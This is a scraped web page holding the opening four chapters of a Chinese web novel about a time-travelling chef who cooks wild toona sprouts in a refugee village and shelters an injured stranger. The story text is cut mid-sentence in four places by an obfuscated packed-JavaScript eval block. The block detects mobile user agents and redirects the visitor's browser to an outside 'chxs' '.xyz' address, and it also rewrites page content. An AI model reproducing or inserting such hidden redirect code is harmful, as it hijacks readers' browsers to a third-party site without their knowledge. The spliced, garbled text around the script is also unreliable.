《京都小食肆》 1. 第 1 章 南夏康平二十五年，惊蛰。 乍暖还寒的时节，路上行人依旧缩手缩脚，距离京都安阳二百里远的齐中县郊龙跃山上，一个身材高挑衣着单薄的年轻女子，正忙着采香椿。 顾宛央没想到这里的香椿竟是没人吃的，漫山遍野都是长出紫红色嫩苗的香椿树，树尖尖上刚冒出来的嫩芽看得人心生欢喜。 等到背篓被装满，顾宛央这才停了下来，她拎起背篓往肩上一扛，准备回家。 说是回家，其实山脚下的城西村只是流民的安置点，南夏与西丹、北真几十年的连年征战，使得边境躲避战乱、各地逃避天灾的百姓纷纷往繁华的京都涌来，南夏朝廷为了保证京都的安全，便在周围的县郡设置安置点，将流民妥善安置在京都以外，并且还会定时发放粮食，主打一个坚决不让流民饿死，杜绝一切内乱的苗头。 对于流民来说，朝廷能有安置的地方给到他们，而且还会发放救济，就已经很满足了，况且朝廷还有一系列的安置措施，比如圈出荒地并且发放农具种子让他们耕种，虽然耕种起来比一般的农田要辛苦得多，但总算是有了安身之所。 对于身强力壮的流民，朝廷也会有征兵或者办工役这些举措，让这些有力气或者有手艺的流民有用武之地，虽然这是朝廷避免动乱而推出的措施，但对流民来说也确实是好事。 顾宛央感叹虽然三个国家的战争从未停止过，但因南夏朝占据了气候适宜、资源丰富、土地肥沃的国土，而且康平帝继位以来，推出各项利国利民的政策，这二十五年来，经济非但没有后退，反而比从前更加蓬勃发展，所以南夏朝廷国库充盈，康平帝也懂得攘外必先安内的道理，流民们的日子虽穷苦，倒也不像想象中那么难熬。 山间的小路不好走，顾宛央将长裙在腿边打了个结，能稍微好走一些，顺着小路一直往下走，便到了山脚下的村子。 顾宛央一进村口，就有好些个孩子围了上来，七嘴八舌地问着有没有山上摘的野果子。 “今天没有野果子，没有了，没有了。”顾宛央被孩子缠着也没有动怒，只是一边笑盈盈地说话，一边把抱着她大腿的孩子扒拉开。 这群孩子一听没有野果子吃，也就散开来继续玩去了。 村子里的房子都是临时搭建起来的，比茅草棚好不了多少，但虽然简陋也算是有个遮风避雨的地方，一个个类似四合院的小屋子，一个院子里面就住了好几户人家。 “宛央，你回来啦。”与顾宛央同住一个院子东屋的九婆婆，慈眉善眼地招呼道。 顾宛央抬头看到九婆婆正吃力地想把水桶里的水举起倒到水缸，忙放下背篓，走上前接过水桶就往水缸里倒水。 “你这小姑娘，看着苗条柔弱的，但力气还真是大哟。”九婆婆说道。 “九婆婆，哪有你说的这么夸张，这桶水又不满，小桃也能拎得动的。”顾宛央笑着答道，小桃是九婆婆的孙女，今年十五，比自己小三岁。 “别提那个野丫头，又不知道带着弟弟跑到哪里玩去了，这都快晌午了，还不回来做饭，等会又要被她娘揍了。”九婆婆看了看天，摇头说道。 顾宛央没有答话，十五六岁的年纪，在现代也只不过是在读中学，在这里却是得承担起很重的家务劳动甚至地里的活。 “宛央，昨天晚上倒在我们门口的那个人还没醒过来，不会是不行了吧。”九婆婆往杂物房看了一眼，有些担忧地说道。 “但愿没事，长生叔说看他的伤势，像是从山上不小心掉下来的，身上的皮外伤倒是还好，就怕磕到了脑袋，那就不好说了。”顾宛央说道。 “这好好的怎么会从山上掉下去，不会是被人追杀的吧！”九婆婆脸色有些惊恐的说道。 “不会吧！”顾宛央说道。 “怎么不会，那些个大家族还有当官的有钱的人家，有些恩怨世仇也再正常不过了，我看这年轻人的穿着气度，肯定不是普通老百姓。”九婆婆说道。 顾宛央默默点了点头，追杀这个词对于她来讲很陌生，但现在处的年代跟现代不一样，原主的记忆中顾氏家族也不是没有过发生过这样的事情，原主的父母就是被家族所连累意外身亡的。 “阿弥陀佛，还好他硬撑着爬到了村子，不然要是在山里不伤重而死也要被野兽叼了去，现在得听天由命了，好在村里有长生这个土郎中给瞧了瞧，救人一命胜造七级浮屠。”九婆婆双手合十祈祷。 “吉人自有天相。”顾宛央不知道为何就脱口而出这几个字，她看受伤那人的面容，虽然有伤痕和血污，但能看出天庭饱满、下巴圆润、耳垂丰厚的面相。 “咦，你今天又采了什么东西回来？”九婆婆并没有把注意力过多地放在那受伤的人身上，而是看向顾宛央放在地上的背篓。 “这是山上摘的香椿，可以做菜吃。”顾宛央边说边开始收拾背篓里的香椿。 九婆婆疑惑：“这东西能吃？” “能！”顾宛央坚定地说道。 “哎哟，我说宛央啊，你别什么东西都摘下来吃，我活了这么大岁数，从来没听说过这东西可以吃的，不然的话，山上这么多怎么没人摘。”九婆婆紧张地说道。 “放心吧，九婆婆。”顾宛央笑着说完，拎着背篓就去了厨房。 顾宛央放下背篓，犹豫了一下，还是走出了厨房，往杂物房走去。 杂物房躺着那个受伤的年轻男子，看上去年纪跟自己差不多的样子，此刻依旧昏睡不醒，住北屋的张婶好心将他脸上的血污清理干净了，露出一张年轻的面庞来，虽然脸色苍白，但仍旧能看得出长相极为俊朗。 顾宛央看他双目紧闭，不由自主地伸出手探了探他的鼻息，气息虽然微弱，但仍旧均匀绵长，顾宛央松了口气。 该做的都已经做了，剩下的得靠他自己醒过来了，顾宛央把被子给他掖紧实一些，免得天寒受了凉，那可真是雪上加霜了。 回到厨房，顾宛央开始收拾刚采回来香椿，还带着露珠的香椿，散发着微微清香。 香椿是个好东西，不仅风味独特而且营养价值很高，还能有消炎止血止痛的功效，当然香椿并不能当药用，所以顾宛央是打算给这个受伤的年轻人做上一碗香椿汤羹的。 不过现在他还没醒过来，倒是可以先放一放，把今天的午饭先做了，再将多出来的香椿做成酱储存起来，可以慢慢吃。 香椿的吃法很多，最有名的做法就是香椿炒鸡蛋，香椿先焯水然后切成碎末，加入鸡蛋液中搅拌均匀，加少许盐往油锅里一倒，随着蛋液与热油的结合，散发出来的香味令人唾液快速分泌！ 只不过，现如今鸡蛋也是稀罕物，顾宛央看着自己那个小小米缸里孤零零的一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小桃虽然被娘骂了，但她脸上一点都看不到委屈沮丧的神情，她看到顾宛央端着碗出来，眼前一亮，快步蹿到顾宛央的跟前，朝碗里一看，顿时口水都要出来了，说道：“宛央姐，你这是做的啥呢，这么好看，还这么香。” 桂花婶也顾不得骂小桃了，她一大早就带着女儿小桃和儿子栓子到地里干活，晌午前让两个孩子回家做饭的，没想这俩居然现在才回来，不知道去哪里野了，桂花婶已经饿得前胸贴后背了，这时候的嗅觉最敏感了，一下子就被这从没闻到过的香味吸引了注意力。 顾宛央低头看了一眼自己手上端着的碗，笑着说道：“这是香椿炒饭，刚刚出锅的。” “这就是你上午从山上摘回来的香椿？”九婆婆闻着香味也走了过来，看到碗中红绿白相间的炒饭，惊讶地问道。 “是啊，香吧？”顾宛央说道。 “香香香，宛央姐，给我尝一小口行不？”桃子眼神就没离开过炒饭，咽着口水央求道。 十岁的栓子也跟着桃子祈求地看着顾宛央，重重点头。 “吃不得，这东西从来没人吃过，怕是越是香的的东西越是有毒。”九婆婆赶紧把桃子拉了回来说道。 桂花婶虽然被香迷糊了，但九婆婆的话让她缓过神来，也不由自主地拉了桃子一把。 顾宛央轻叹一口气，转身捧着碗和勺子就进了自己住的西屋，坐下来打算好好品尝刚摘下来的新鲜香椿的美味。 2. 第 2 章 西屋是整个房子中最小的一间房，但顾宛央是一个人住，倒也正好。 “宛央，你别吃啊，万一吃出啥事来，可怎么办呀。”九婆婆不放心地追到西屋门口说道。 桂花婶和小桃、栓子也跟了过来，倒不是担心顾宛央吃出啥事来，实在是香味没法拒绝，他们眼巴巴地看着顾宛央拿起勺子，往嘴里送了一口炒饭。 顾宛央知道像九婆婆这样的老人家思想已经固化，她认为对的或者错的事情，是不会轻易改变的。 所以，她打算以事实证明，香椿是不仅能吃，而且是一道不可多得的春季美味。 此时的香椿炒饭温度正好，米饭连同香椿一口吃进嘴里，咬下去便是满满的清香，现在的香椿正是刚刚冒头的头茬，鲜嫩清香的口感使得顾宛央脸上露出了满意的神色。 站在门口的桂花婶和小桃栓子，眼神直勾勾地盯着顾宛央手里的碗，疯狂地咽着口水，肚子也不听使唤地咕咕叫了起来。 顾宛央将一碗香椿炒饭全部吃完，不舍得放过一粒米和一片香椿叶子，碗里干干净净。 “宛央，你还好吧？”九婆婆担心地问道。 顾宛央站起身来一边往外走一边说道：“九婆婆，我没事，放心吧！” “宛央，你这个香椿是在哪里摘的啊，我让小桃也去摘点回来炒着吃。”桂花婶跟在顾宛央的身后，眼巴巴地问道。 “山上到处都是，随便摘。”顾宛央说道，山上那么多香椿树，她一个人肯定是摘不完的，等过段时间就不能吃了，也是因为京都附近百姓生活条件都还可以，不然的话，这山上哪能剩的下野菜野果呢。 “娘，现在去摘的话，要等好久呢。”小桃等不及了，她迫不及待地问顾宛央：“宛央姐，你今天摘了有多的吗？先借给我们一些，明天我摘了还你。” “你们不怕有毒吗？”顾宛央并未立即答应，反问道。 “怕什么，要是有毒，宛央姐会吃嘛？”小桃圆圆的小脸上充满了信任。 顾宛央看向九婆婆，这时九婆婆的肚子也发出一阵咕咕声。 “哎呀，阿奶，你还犹豫什么，你看宛央姐像是有事情的样子吗？”小桃说道。 “是啊娘，我一大早出门干了大半天的活，都快饿死了，赶紧炒个宛央那样的饭吃了，还得下地干活呢。”桂花婶也说道。 九婆婆也不是闻不到刚刚香椿炒饭的香味，她看着顾宛央吃完之后一点事都没有，也就点了点头。 小桃立马接过顾宛央手中的碗，说道：“宛央姐，我来帮你洗碗。” 桂花婶拉着顾宛央就往厨房走，边走边说：“走，宛央，你教教我们怎么做这个。” 顾宛央被桂花婶连拖带拽地拉到厨房，刚刚顾宛央只来得及收拾了一小把做炒饭，剩下的香椿依然还躺在背篓里。 “桂花婶，你先挑一些出来洗一洗，然后水烧开放进去，这香椿吃之前一定要焯水。”顾宛央指着背篓里的香椿关照道。 桂花婶虽然不知道为何一定要焯水，但还是乖乖地按照顾宛央的嘱咐照做。 桂花婶做事情麻利得很，顾宛央也很尽心尽力地教她每个步骤，她按照顾宛央教的做法，很快就炒出来了一锅香喷喷的香椿炒饭。 九婆婆也忍不住站到了锅边，接过桂花婶递给她的一碗炒饭，她又看了顾宛央一眼，再次确认她一点事都没有，这才扒了一口炒饭进嘴里。 小桃和栓子更是流着口水等到炒饭出锅的，两人接过满满一碗的炒饭后，一秒钟都没耽搁，直接开始炫。 桂花婶最后才给自己盛了一碗，捧着碗就迫不及待地开始吃起来。 “九婆婆，桂花婶，你们去屋里吃呀，站着吃多累。”顾宛央看着他们四个人站在厨房就开始吃饭，忍不住提醒道。 四人根本顾不上回话，只是都摇了摇头，就继续埋头苦吃。 九婆婆从吃第一口开始，就后悔为什么要怀疑顾宛央，这么好吃的东西没早点吃到，刚出锅的炒饭还有些许烫嘴，但九婆婆却顾不得这些，一口接着一口往嘴里送。 顾宛央看桂花婶干了一上午的活，虽然饿得前胸贴后背，但还是先给老的和小的盛了饭，自己才开始吃起来，不由地从门口搬了两个小板凳，一个给九婆婆一个给桂花婶，让她们坐着吃。 桂花婶的注意力全在眼前这碗炒饭上，是被顾宛央拉着坐下来的，等她扒了几大口炒饭吃下去后，饥饿感有所消失了，这才开始好好品尝眼前的美味。 切成碎末的香椿看上去并不起眼，但入口却有一股浓郁却独特的气味，桂花婶的脸上带着诧异却又满足的神情，深深地舒了一口气，真是太美味了，这小小的嫩芽居然这么鲜美，还带着草香木香和花香，以前怎么都没发现呢。 小桃和栓子两人吃得腮帮子鼓鼓的，一声不吭专注干饭，直到碗底空空，小桃才满足地叹息道：“太好吃了！” “比鸡蛋炒的饭还好吃！”栓子砸吧着嘴，意犹未尽地附和道。 顾宛央不由地笑起来，如果香椿炒饭里再加个鸡蛋，那就完美了。 吃完午饭，顾宛央用布把绣活仔细地包好，背在肩上出了门。 顾宛央是原主在这个村子里住下来后发生意外，这才穿过来的，原主本是南边吴州四大家族之首的顾氏家族收养的旁系孤女，顾氏家族收养了不少这样的的旁系孤女，她们从小就被好生调教，琴棋书画针线活包括管家厨艺等等都样样通晓，只为成年后能承担起为家族联姻的重任。 但往往条件优越的联姻对象是轮不到这些养女的，原主就是因为要嫁给一个六十岁的老头做续弦，所以才逃婚离开吴州，跟着流民队伍辗转千里到了京都附近，只为离那个地方越远越好。 顾宛央对原主是钦佩的，一个养在深闺中的大家族小姐，有这个胆量和魄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐中县城有四大市集，分别坐落在东西南北四个方向，方便各处的百姓购买东西，市集虽然不大，但足够县城的百姓们采买。 街道的两旁是像绣品铺子那样正规的铺子，在铺子门前三米开外的地方，是一个个临时摆出来的小摊，卖冰糖葫芦的，卖糖人的，还有卖菜的卖小吃的，小摊贩们的聚集使得整个市集都显得非常热闹。 顾宛央边逛边用刚刚赚的钱买了几只小鸡打算回家养起来下蛋，再买了一些鸡蛋和几斤面粉，路过豆腐摊的时候，又买了两块豆腐，而在路过肉摊的时候，顾宛央忍住了要掏钱的手，实在是囊中羞涩，虽然粮食有朝廷救济勉强够吃，但肉类和其他食物以及油盐酱醋却是需要真金白银地购买，实属奢侈品。 顾宛央一边在脑海中想象着肉摊上各种部位肉类的做法，一边提着东西往城西村走去。 3. 第 3 章 推开家中大门，家里静悄悄的，估计桂花婶一家都出去干活了，北屋张婶和两个孩子中午是不回家吃饭的，他们早上做好干粮带到地里吃。 东屋桂花婶的男人在县城做工役，而北屋张婶家的男人服了兵役，所以男人们都不在家，不光是这两家的男人，整个城西村年轻力壮或者有手艺的男人几乎都出门做工当兵了，家中开荒田的重任便落到了女人、老人和孩子的身上。 原主没有开荒地，只是开了屋后一小块菜地种些蔬菜，自从去年年底在城西村落了脚开了菜地后，现如今已经小有收成，靠着朝廷发的救济粮和屋后的蔬菜地，再加上做绣活挣的碎银钱，勉强能过活。 虽然原主是顾家的小姐，但她们这些养女没有属于自己的财产，所有吃穿用度都有管家嬷嬷打理，偶尔逢年过节能得到几个红包碎银当做零花钱，所以原主逃出顾家的时候，身上只有几两碎银，一路上也用的所剩无几。 顾宛央把手上买的东西放好，刚想转身去杂物房看看昨天那人的情况，就听到一阵敲门声。 “谁啊？”顾宛央皱了皱秀眉问道，这敲门声很急促，一点规矩都没有。 等她打开大门，就看到几个佩着剑的男人站在门口，为首那个见顾宛央出来，双手抱拳行礼道：“请问姑娘，有没有见过一位二十左右的年轻男子进过村子？” 顾宛央打量着眼前几个男人身材高壮精瘦，看得出来应该都是练家子，眼中不由露出警惕之色，九婆婆说的追杀两个字不由浮上心头，她淡淡地开口：“我们村子没有年轻男子，都是老弱妇孺。” “你再好好想想，这位年轻男子身着蓝衣，身量与我相差无几，长相出众气质高贵。”为首那人虽然语气和蔼，但神色却很焦急。 “这人是谁啊？你们找他做什么？”顾宛央反问道。 “姑娘，这不是你该问的，你只需告诉我们有没有见过此人就行。”为首那人沉声说道。 “哦，我没见过，要是这位年轻男子是你形容的那样，我见过的话不会忘记的。”顾宛央说道。 “好吧，打扰了。”为首那人失望地说道。 顾宛央看着他们转身离去的背影，依旧能听得这几人在议论“这村子怎么不是老人就是小孩，话都听不清楚，啥都问不出来，好容易有个年轻的，也说没见过。”“可能确实没来过，走，去别的地方继续找，挖地三尺也得找到，不然你我性命不保。” 顾宛央关上大门，径直往杂物房走去，一推开杂物房的门，就发现床上的人眼睛瞪得很大，身子挣扎着想起来，喉咙还发出呜呜的声音，顾宛央一着急，走上前按住他的身体捂住他的嘴。 “别出声，外面有人找你，还未走远，怕是你仇家寻仇来了。”顾宛央说道。 床上的年轻人眼睛瞪得更大了，可惜现在的他哪里挣得过顾宛央，情急之下张嘴咬住了捂着自己嘴的手。 顾宛央吃痛“哎哟”叫了一声，条件反射地双手把年轻人一推，就听得“咚”的一声，年轻人重重砸在床上晕了过去。 “诶，你没事吧，醒醒啊。”顾宛央顾不上手被咬疼了，急忙上前查看状况。 她探了探鼻息还有气，顿时松了口气，好容易人醒了，别被自己推一把就嗝屁了。 顾宛央低头看了自己的手一眼，一排深深的牙印落在虎口处，一会功夫就肿了一圈，她不由地看向床上紧闭双目的年轻人，一边抡拳作势揍他一边气骂道：“属狗的吗！” 骂归骂，这人醒了，顾宛央心情还是不错的，虽然又被自己推的晕了过去，但说明他应该是熬过最难熬的时段了，等他醒过来得赶紧让他走。 顾宛央转身出了杂物房，她没时间在这里守着他醒过来，今天下午绣活没接成，也就意味着她断了收入来源，得想办法挣钱才是正事。 下午在西市集逛了一圈，顾宛央了解到街边的小摊是可以自由摆放交易的，便想着要摆摊卖小吃，这对一个现代的顶级厨师来说摆小吃摊是小菜一碟，这是顾宛央喜欢也擅长做的事情，比做绣活要让她欢喜的多。 早上摘的香椿也该马上处理了，现成的新鲜食材让顾宛央有了想法，没有绣活要赶，她可以把精力都放在做美食上。 背篓里的香椿倒出来居然有满满的一大盆，因为顾宛央往背篓里放的时候都压得实实的，所以一放出来就比看着多了不少。 顾宛央先挑了一部分出来，打算留着晚上做香椿豆腐汤，明天早上再做香椿饼，接着就开始清洗剩下的一大盆香椿。 嫩嫩的香椿苗经过清水的浸润，散发出清新的气味，与清冷的空气相撞，让人仿佛置身于大山之中。 新鲜的香椿很难长时间保存，但如果做成香椿酱就可以保存很长的时间，香椿酱不管是用来拌面下饭还是夹馒头都非常的好吃。 今天做好香椿酱，明天就可以拿到市集去叫卖试试，明天早上再做些香椿饼一起拿去卖。 将清洗好后的香椿苗放入烧开的水中焯水，颜色变绿即刻捞起放入干净无水的盆里晾凉，等到香椿晾凉不烫手后，用力挤干它的水分，再放到案板上切成碎末备用。 顾宛央将大蒜和生姜切成碎末，起锅油热后放进去煸香，本来应该再加豆瓣酱和豆豉一起煸炒的，但她手头的铜钱不够，只能先做一个简易版的酱，等到能卖出去赚了钱再添加这些调味料。 等姜蒜爆香后盛出放入备好的香椿碎末中搅拌均匀，再在最上面撒上一层辣椒面和盐，然后继续把锅烧热，顾宛央狠了狠心，倒了不少油下去，一边倒一边安慰自己能赚回来的，好在这个年代的榨油技术已经成熟，植物油并不像别的朝代那样金贵，只要明天能把两样食物卖出去，就有钱多买些油回来。 把油烧热冒烟后，舀起一勺油浇到辣椒面上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792286|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随着“滋啦”的一声响，辣椒面裹着香椿碎便散发出一股浓郁的香味，顾宛央拿起筷子迅速搅拌起来，一边搅拌一边继续舀起一勺热油浇在面上，这样反复浇了三遍热油，并且反复搅拌，使得香椿充分与热油融合在一起。 红色的辣椒面与热油也融为了一体，呈现出红油的状态，虽然没有豆瓣酱的加入，但色泽依然还是好看的。 顾宛央忍不住用干净的筷子挑了一小坨放进嘴里，虽然只是放了盐，但香椿本身的清香鲜甜也不需要太多的调味料，这一筷子入口，咸鲜的口感让人恨不能有一口米饭一起吃下去。 味道很好，接下来顾宛央找来一个干净无水的坛子，把这些香椿酱都装了进去，装了满满一坛子。 等忙完这些事情，天色也慢慢暗了下来，顾宛央感觉到一阵饿意袭来，自从来到这里就很容易饿，也难怪，每天的食物基本见不到荤腥，又要做很多体力活，交通都靠两条腿，到哪里都得走路，能量消耗非常快。 晚上准备做香椿豆腐汤，一会受伤的年轻人醒过来了，还能给他吃两口，想到这，顾宛央又摸了摸手上被咬的痕迹，顿时有些不太想做给他吃了。 只不过想归想，顾宛央还是开始忙活起来，香椿依旧先要焯水，捞出切成段后，锅中倒入少许油，把香椿段放入锅中煸炒几下后盛出备用，就着底油加入一锅清水，水开后把豆腐切成块放进去煮，雪白的豆腐在锅中微微颤抖，豆香味慢慢溢了出来。 豆腐不需要煮太久，等到差不多的时候，把香椿段放进去一起煮一小会，顾宛央看着锅中翻滚着的香椿豆腐，犹豫了一下，还是拿出来了一个鸡蛋，打成蛋液倒了进去。 嫩黄色的鸡蛋液在锅中散开慢慢凝结成型，锅中的颜色更加丰富了一些，蛋液不能久煮，等蛋液全都凝结，顾宛央迅速放了盐后，便将香椿豆腐汤盛了出来。 香气扑面而来，顾宛央的肚子咕咕叫了起来，她赶紧盛出来一碗汤，迫不及待地舀了一口汤吹了几下便喝进肚子里。 在这个初春的天气里，喝下这一口热汤使得整个人都暖和起来，空虚的胃也得到了极大的满足，顾宛央伸出勺子舀了第二口，这次她将豆腐香椿和鸡蛋都舀了起来，一口吃了下去。 柔嫩的豆腐、爽脆的香椿再加上细滑的鸡蛋，三种食材完美融合在一起，激发出了咸鲜清香的口味，顾宛央眼睛微微闭起，感受着这道春季鲜味，这是她穿过来后吃到的最鲜美的菜了，不由发出一声满足的叹息。 顾宛央盛出一碗米饭，将香椿豆腐汤拌在饭里，米饭被汤汁完全浸泡，这比经常吃的白开水泡饭好吃百倍，没多一会整个碗便空了，顾宛央的胃得到了满足，她瘫坐在凳子上，香椿的香气依旧还留在嘴里，真不愧是红油香椿，味道比绿油香椿浓郁多了。 歇坐了一会，顾宛央把剩下的香椿豆腐汤盛到碗里，端起来往杂物房走去。 4. 第 4 章 杂物房的门被推开，顾宛央端着汤走了进去。 正在此时，床上的年轻人眼睛动了一下，缓缓地睁了开来。 “醒了？”顾宛央说着，端着汤碗靠近床边。 年轻人眼睛闭了闭，像是一下子反应不过来这是哪里，然后猛然睁开眼，他看到顾宛央端着个碗站在自己面前，仿佛想起来什么，顿时眉头皱了起来。 顾宛央蹙眉，这是什么鬼表情，难道还救错他了？ “你受伤了倒在我们门口，大家一起把你救回来的。”顾宛央说道，总得让他知道情况。 年轻人听了这话，紧皱的眉头渐渐放松开来，一张俊脸虽然没有一丝笑意，但还是轻轻地点了点头以示感谢。 “刚刚推了你一把，对不住啊，不过谁让你咬我！”顾宛央见这人还不算蛮不讲理，也就稍微道了个歉，毕竟刚刚那一把推的挺重的，若是正常人没关系，主要他还受了这么重的伤。 年轻人一听这话情绪又有些激动起来，他想开口说什么，但突然一阵剧烈的咳嗽让他开不了口。 “你没事吧？”顾宛央见好像肺都要咳出来了，忙把碗放一边，扶着他半坐了起来。 好容易停下咳嗽，年轻人又想开口，顾宛央打断道：“别说话了，你现在身体虚弱，说话费精力，等身体好些再说。” 说着，顾宛央端起刚才那个碗，用勺子舀了一勺汤，递到年轻人的面前说道：“把这碗汤先喝了，补充体力。” 年轻人本就受伤很虚弱，一听这话，也就不再开口，打算就着面前的勺子喝汤，哪知他刚已凑近勺子，便立马扭过脸去，脸上露出嫌弃的神色。 顾宛央见此情形，无奈地收回了碗，香椿很多人都爱吃，但确实有少数人接受不了这个味道，不喜欢吃也没办法，顾宛央收回勺子说道：“那你先躺一会，我去看看还有什么你能吃的。” 年轻人摇摇头表示不用，慢慢地躺了下来，疲惫地闭上了眼睛。 顾宛央见状不再打扰他，端着汤碗出了杂物间。 “宛央，他醒了吗？”住在北屋的张婶带着两个儿子干活回来了，见顾宛央从杂物间出来，便问道。 “醒了，应该没啥大事。”顾宛央答道。 “那就好，早上给他清理的时候，还不省人事呢，好在是年轻人恢复的快。”张婶说道。 顾宛央点点头，这人不是个文弱书生，刚刚扶他的时候，手臂上筋肉紧实，平日里肯定没少锻炼或者练功吧，身体素质好的人才能经得起折腾。 “咦，这一碗汤他怎么没吃？”张婶干了一天的活，又累又饿，对于食物非常敏感。 “他不吃，不喜欢这个味道。”顾宛央摇摇头说道。 张婶向前跨了一步，凑近闻了闻，惊奇地说道：“这是豆腐跟什么煮的，味道很清香呢。” “山上摘的香椿芽，很好吃的。”顾宛央刚刚被年轻人打击了一下，现在听到张婶说好闻，眼睛不由地亮了起来。 “宛央，你懂的真多。”张婶佩服地看着顾宛央，这姑娘一看就是大户人家的小姐，不知道为何沦为了流民。 “张婶，这碗汤给你们喝吧。”顾宛央说道，自己已经吃饱了，本来想留到明天吃，但到明天味道就不好了，不如送给张婶和他两个儿子，一个院子里住着，自己孤身一人，这些日子也麻烦桂花婶和张婶一家很多事情。 “这，这怎么好意思。”张婶推辞道。 “娘，我饿了。”张婶的小儿子小丰扯着张婶的衣角说道。 “锅里还有早上做的馍馍，等会娘去热一下就可以吃了。”张婶看着才十二岁的小儿子，有些心疼地说道。 “娘，我想吃宛央姐做的汤。”张婶的大儿子大丰盯着顾宛央手中的碗，忍不住地咽口水。 “是啊，娘，天天吃干馍馍，咽都咽不下去。”小丰见哥哥把自己想说的都说了，赶紧附和着说道。 “张婶，你们就拿去吃吧，隔了夜就不好吃了，正好这汤可以就着馍馍吃呢。”顾宛央把汤塞到张婶手中说道。 张婶端着还冒着热气的香椿豆腐汤，再看看自己一个十四岁一个十二岁的半大儿子，把拒绝的话咽了下去，感激地说道：“谢谢你，宛央。” 说完，她放下碗，跑进了厨房，过了一会就见她小心翼翼地一手握一个鸡蛋走出来，塞到顾宛央手里说道：“这是自家老母鸡下的蛋，你拿着。” 顾宛央多少了解张婶的性格，如果不收的话，她这碗汤是吃得不安心的了，以物易物在这个年代经常发生。 “太好了，我正好缺鸡蛋呢。”顾宛央发自内心地说道，明天早上的香椿饼正好需要加鸡蛋。 张婶见顾宛央收下了，脸上的表情放松下来，端起汤碗对两个儿子说道：“走，吃饭去。” 馍馍热起来很快，张婶母子三人一人分到一小碗汤，大丰和小丰已经饿得前胸贴后背了，小丰端起汤碗就美美地喝了一大口，大丰则是小心翼翼地喝了一小口。 两兄弟长相酷似的脸上，都露出了满足的表情，小丰接着就狠狠咬了一口馍馍，然后迫不及待地又喝了一口汤，连带着豆腐和香椿一起扒拉进了嘴里，腮帮子鼓鼓的，完全沉浸在美食之中。 大丰到底比小丰大两岁，吃起东西来也没有小丰那么粗犷，但也是一口馍馍一口汤吃得不亦乐乎，期间还不忘抬头对在一旁收拾东西的顾宛央感激一笑。 张婶看着两个孩子吃得香，脸上不由露出微笑，这几天为了省时间，都是拿干馍馍对付几口，自己可以忍受，但对正在长身体的孩子来说确实熬不住，明天得挤时间炒几个菜了。 张婶一边想着一边拿起汤勺舀了一口汤吃下去，她不由地眼睛也瞪大了，这个味道好特别啊，但她好喜欢，一口上瘾的感觉。 她不由地仔细看了看碗里的汤，雪白的豆腐、淡黄的鸡蛋、绿色的香椿，颜色真是好看，她好奇地舀起香椿单独吃进嘴里，咦，这个不起眼的菜居然口感脆嫩香气四溢，越嚼越香。 张婶拿着馍馍在汤碗里蘸了蘸咬一口，哎呀，这简直是绝配，原本干硬的馍馍被汤汁一浸泡，变得又软又鲜，嘴巴得到极大的满足。 大丰吃饭没有小丰那么专注，他看到张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792287|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婶用馍馍蘸汤吃，也不由地学了起来，他一口吃下去对着张婶连连点头，果然这样更好吃呢。 顾宛央收拾好厨房的锅碗瓢盆走进厅堂，看到三个人的汤碗干干净净，跟没盛过东西一样，一看就是舔过一遍的。 张婶注意到顾宛央的眼神，有些不好意思地说道：“这香椿，是香椿吧？这香椿豆腐羹真的好吃，我们都吃完了。” “好吃就好呀，我怕你们不喜欢呢。”顾宛央笑着说道，作为厨师，别人把自己做的东西吃光光，是最令人开心的。 “喜欢喜欢，有时间教教我怎么做可以吗？这俩孩子都爱吃呢。”张婶恳求地问道。 “当然可以。”顾宛央说道，这个汤做起来非常简单，食材也比较容易获得，张婶一家是从北方来的，喜欢吃面食，馍馍就着汤吃再合适不过了。 正说着话，桂花婶一家也回来了，小桃鼻子很灵，立刻闻到了空气中残余的香味，她抱着顾宛央的手臂摇了又摇地问道：“宛央姐，你是不是又做了什么好吃的，好香啊。” 桂花婶一把扯过小桃，训道：“这么没规矩，别摇你宛央姐。” “桂花婶，没事。”顾宛央知道小桃直接爽快从不内耗，桂花婶经常骂她，也半点不影响她的活泼开朗，说真的她还挺喜欢小桃这样的性格。 “宛央做的香椿豆腐羹，刚刚我们给吃完了，我正说让宛央教我做呢。”张婶上前一步说道。 桂花婶一听，急忙开口说道：“那也教教我呗，省的我这不省心的闺女闹腾。” 顾宛央微笑着，看样子桂花婶虽然对小桃骂归骂，心里还是在意这个女儿的，于是开口说道：“没问题，这个羹汤做起来也很简单的，等你们有空了备好食材喊我就行。” 